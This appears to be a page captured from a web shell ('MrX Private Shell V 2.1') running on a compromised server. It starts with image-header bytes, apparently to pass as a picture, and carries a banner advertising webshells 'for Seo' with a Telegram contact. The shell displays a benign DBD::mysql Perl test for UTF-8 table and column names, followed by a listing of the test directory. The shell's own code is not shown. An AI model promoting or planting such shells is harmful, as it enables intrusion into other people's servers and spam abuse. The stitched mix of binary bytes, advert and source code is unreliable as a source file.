����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use warnings;
use Test::More;
use DBI;
use Encode;
use vars qw($test_dsn $test_user $test_password);
use lib 't', '.';
require "lib.pl";
sub for_db {
my ($mysql_enable_utf8, $value) = @_; # Value is in internal Perl Unicode.
my $ret;
if ($mysql_enable_utf8 >= 1) {
$ret = $value;
} else {
$ret = Encode::encode('UTF-8', $value);
}
return $ret;
}
my $dbh;
eval {
$dbh = DBI->connect($test_dsn, $test_user, $test_password,
{ RaiseError => 1, PrintError => 1, AutoCommit => 0 });
};
if ($@) {
plan skip_all => "no database connection";
}
$dbh->disconnect();
plan tests => 12 * 3 + 12 * 2;
# All in internal Perl Unicode
my $jpnTable = "\N{U+8868}"; # Japanese table
my $jpnColumn = "\N{U+6027}\N{U+5225}"; # Japanese column - word "gender"
my $jpnData1 = "\N{U+5c71}\N{U+7530}\N{U+592a}\N{U+90ce}"; # Japanese data - person name
my $jpnData2 = "\N{U+7537}"; # Japanese daya - word "male"
my $chiTable = "\N{U+5927}\N{U+99AC}"; # Chinese table XXX MySQL doesn't support utf8mb4 in table names
my $chiColumn = "\N{U+5C0F}\N{U+96EA}\N{U+4EBA}"; # Chinese column XXX MySQL doesn't support utf8mb4 in column names
my $chiData1 = "\N{U+30001}"; # Chinese data
my $chiData2 = "\N{U+30002}"; # Chinese data
foreach my $mysql_enable_utf8 (0, 1, 2) {
my %utf8_params = ();
if ($mysql_enable_utf8 == 1) {
$utf8_params{'mysql_enable_utf8'} = 1;
diag "Enabled mysql_enable_utf8.";
} elsif ($mysql_enable_utf8 == 2) {
$utf8_params{'mysql_enable_utf8mb4'} = 1;
diag "Enabled mysql_enable_utf8mb4.";
} else {
diag "Disabled mysql_enable_utf8.";
}
$dbh = DBI->connect($test_dsn, $test_user, $test_password,
{ RaiseError => 1, PrintError => 1, AutoCommit => 1, %utf8_params });
my $jpnTable_db = for_db($mysql_enable_utf8, $jpnTable);
my $jpnColumn_db = for_db($mysql_enable_utf8, $jpnColumn);
my $jpnData1_db = for_db($mysql_enable_utf8, $jpnData1);
my $jpnData2_db = for_db($mysql_enable_utf8, $jpnData2);
my ($chiTable_db, $chiColumn_db, $chiData1_db, $chiData2_db);
if ($mysql_enable_utf8 == 0 || $mysql_enable_utf8 == 2) {
$chiTable_db = for_db($mysql_enable_utf8, $chiTable);
$chiColumn_db = for_db($mysql_enable_utf8, $chiColumn);
$chiData1_db = for_db($mysql_enable_utf8, $chiData1);
$chiData2_db = for_db($mysql_enable_utf8, $chiData2);
}
my $sth;
my $row;
ok($dbh->do("DROP TABLE IF EXISTS $jpnTable_db"), 'Drop table for Japanese testing.');
if ($mysql_enable_utf8 == 0 || $mysql_enable_utf8 == 2) {
ok($dbh->do("DROP TABLE IF EXISTS $chiTable_db"), 'Drop table for Chinese testings.');
}
ok($dbh->do(<<"END"
CREATE TABLE IF NOT EXISTS $jpnTable_db (
name VARCHAR(20),
$jpnColumn_db CHAR(1)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin
END
), 'Create temporay table with Japanese characters.');
if ($mysql_enable_utf8 == 0 || $mysql_enable_utf8 == 2) {
ok($dbh->do(<<"END"
CREATE TABLE IF NOT EXISTS $chiTable_db (
name VARCHAR(20),
$chiColumn_db CHAR(1)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin
END
), 'Create temporay table with Chinese characters.');
}
ok($sth = $dbh->prepare("INSERT INTO $jpnTable_db (name, $jpnColumn_db) VALUES (?, ?)"), 'Prepare insert statement with Japanese values.');
ok($sth->execute($jpnData1_db, $jpnData2_db), 'Execute insert statement with Japanese values.');
if ($mysql_enable_utf8 == 0 || $mysql_enable_utf8 == 2) {
ok($sth = $dbh->prepare("INSERT INTO $chiTable_db (name, $chiColumn_db) VALUES (?, ?)"), 'Prepare insert statement with Chinese values.');
ok($sth->execute($chiData1_db, $chiData2_db), 'Execute insert statement with Chinese values.');
}
ok($sth = $dbh->prepare("SELECT * FROM $jpnTable_db"), 'Prepare select statement with Japanese values.');
ok($sth->execute(), 'Execute select statement with Japanese values.');
ok($row = $sth->fetchrow_hashref(), 'Fetch hashref with Japanese values.');
is($row->{name}, $jpnData1_db, "Japanese value.");
ok(!exists $row->{$jpnColumn}, 'Not exists Japanese key in internal Perl Unicode.'); # XXX
is($row->{Encode::encode('UTF-8', $jpnColumn)}, $jpnData2_db, 'Exists Japanese key in octets and value.'); # XXX
is_deeply($sth->{NAME}, [ 'name', Encode::encode('UTF-8', $jpnColumn) ], 'Statement Japanese column name is in octets.'); # XXX
is_deeply($sth->{mysql_table}, [ Encode::encode('UTF-8', $jpnTable), Encode::encode('UTF-8', $jpnTable) ], 'Statement Japanese table name is in octets.'); # XXX
if ($mysql_enable_utf8 == 0 || $mysql_enable_utf8 == 2) {
ok($sth = $dbh->prepare("SELECT * FROM $chiTable_db"), 'Prepare select statement with Chinese values.');
ok($sth->execute(), 'Execute select statement with Chinese values.');
ok($row = $sth->fetchrow_hashref(), 'Fetch hashref with Chinese values.');
is($row->{name}, $chiData1_db, "Chinese value.");
ok(!exists $row->{$chiColumn}, 'Not exists Chinese key in internal Perl Unicode.'); # XXX
is($row->{Encode::encode('UTF-8', $chiColumn)}, $chiData2_db, 'Exists Chinese key in octets and value.'); # XXX
is_deeply($sth->{NAME}, [ 'name', Encode::encode('UTF-8', $chiColumn) ], 'Statement Chinese column name is in octets.'); # XXX
is_deeply($sth->{mysql_table}, [ Encode::encode('UTF-8', $chiTable), Encode::encode('UTF-8', $chiTable) ], 'Statement Chinese table name is in octets.'); # XXX
}
$sth->finish();
$dbh->disconnect();
}
done_testing;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 00base.t | File | 634 B | 0644 |
|
| 01caching_sha2_prime.t | File | 735 B | 0644 |
|
| 05dbcreate.t | File | 760 B | 0644 |
|
| 10connect.t | File | 2.6 KB | 0644 |
|
| 15reconnect.t | File | 1.55 KB | 0644 |
|
| 16dbi-get_info.t | File | 1.26 KB | 0644 |
|
| 17quote.t | File | 1.16 KB | 0644 |
|
| 20createdrop.t | File | 745 B | 0644 |
|
| 25lockunlock.t | File | 1.48 KB | 0644 |
|
| 29warnings.t | File | 1.73 KB | 0644 |
|
| 30insertfetch.t | File | 1.2 KB | 0644 |
|
| 31insertid.t | File | 2.3 KB | 0644 |
|
| 32insert_error.t | File | 901 B | 0644 |
|
| 35limit.t | File | 2.22 KB | 0644 |
|
| 35prepare.t | File | 3.31 KB | 0644 |
|
| 40bindparam.t | File | 2.87 KB | 0644 |
|
| 40bindparam2.t | File | 1.31 KB | 0644 |
|
| 40bit.t | File | 1.25 KB | 0644 |
|
| 40blobs.t | File | 1.88 KB | 0644 |
|
| 40catalog.t | File | 10.27 KB | 0644 |
|
| 40keyinfo.t | File | 1.99 KB | 0644 |
|
| 40listfields.t | File | 2.22 KB | 0644 |
|
| 40nulls.t | File | 1004 B | 0644 |
|
| 40nulls_prepare.t | File | 2.48 KB | 0644 |
|
| 40numrows.t | File | 1.96 KB | 0644 |
|
| 40server_prepare.t | File | 3.37 KB | 0644 |
|
| 40server_prepare_crash.t | File | 2.2 KB | 0644 |
|
| 40server_prepare_error.t | File | 968 B | 0644 |
|
| 40types.t | File | 3.44 KB | 0644 |
|
| 41bindparam.t | File | 1.02 KB | 0644 |
|
| 41blobs_prepare.t | File | 2.04 KB | 0644 |
|
| 41int_min_max.t | File | 6.31 KB | 0644 |
|
| 42bindparam.t | File | 997 B | 0644 |
|
| 43count_params.t | File | 1.93 KB | 0644 |
|
| 50chopblanks.t | File | 2.81 KB | 0644 |
|
| 50commit.t | File | 2.37 KB | 0644 |
|
| 51bind_type_guessing.t | File | 6.03 KB | 0644 |
|
| 52comment.t | File | 1.96 KB | 0644 |
|
| 53comment.t | File | 1.83 KB | 0644 |
|
| 55utf8.t | File | 3.1 KB | 0644 |
|
| 55utf8_errors.t | File | 3.56 KB | 0644 |
|
| 55utf8_identifiers.t | File | 5.53 KB | 0644 |
|
| 55utf8mb4.t | File | 1.04 KB | 0644 |
|
| 56connattr.t | File | 1.65 KB | 0644 |
|
| 57trackgtid.t | File | 944 B | 0644 |
|
| 60leaks.t | File | 7.69 KB | 0644 |
|
| 65segfault.t | File | 1.12 KB | 0644 |
|
| 65types.t | File | 1.31 KB | 0644 |
|
| 70takeimp.t | File | 2.64 KB | 0644 |
|
| 71impdata.t | File | 1.08 KB | 0644 |
|
| 75supported_sql.t | File | 1.21 KB | 0644 |
|
| 76multi_statement.t | File | 2.85 KB | 0644 |
|
| 80procs.t | File | 2.89 KB | 0644 |
|
| 81procs.t | File | 2.86 KB | 0644 |
|
| 85init_command.t | File | 752 B | 0644 |
|
| 86_bug_36972.t | File | 1.24 KB | 0644 |
|
| 87async.t | File | 6.09 KB | 0644 |
|
| 88async-multi-stmts.t | File | 931 B | 0644 |
|
| 89async-method-check.t | File | 5.96 KB | 0644 |
|
| 91errcheck.t | File | 485 B | 0644 |
|
| 92ssl_backronym_vulnerability.t | File | 1.46 KB | 0644 |
|
| 92ssl_optional.t | File | 1.47 KB | 0644 |
|
| 92ssl_riddle_vulnerability.t | File | 1.48 KB | 0644 |
|
| 99_bug_server_prepare_blob_null.t | File | 1.38 KB | 0644 |
|
| 99compression.t | File | 1.16 KB | 0644 |
|
| gh352.t | File | 626 B | 0644 |
|
| gh360.t | File | 842 B | 0644 |
|
| gh447-paramvalues.t | File | 4.15 KB | 0644 |
|
| lib.pl | File | 3.89 KB | 0644 |
|
| manifest.t | File | 290 B | 0644 |
|
| mysql.mtest | File | 950 B | 0644 |
|
| pod.t | File | 129 B | 0644 |
|
| rt110983-valid-mysqlfd.t | File | 724 B | 0644 |
|
| rt118977-zerofill.t | File | 897 B | 0644 |
|
| rt25389-bin-case.t | File | 1.44 KB | 0644 |
|
| rt50304-column_info_parentheses.t | File | 1.54 KB | 0644 |
|
| rt61849-bind-param-buffer-overflow.t | File | 711 B | 0644 |
|
| rt75353-innodb-lock-timeout.t | File | 2.96 KB | 0644 |
|
| rt83494-quotes-comments.t | File | 922 B | 0644 |
|
| rt85919-fetch-lost-connection.t | File | 2.32 KB | 0644 |
|
| rt86153-reconnect-fail-memory.t | File | 1.94 KB | 0644 |
|
| rt88006-bit-prepare.t | File | 3.66 KB | 0644 |
|
| rt91715.t | File | 850 B | 0644 |
|
| version.t | File | 406 B | 0644 |
|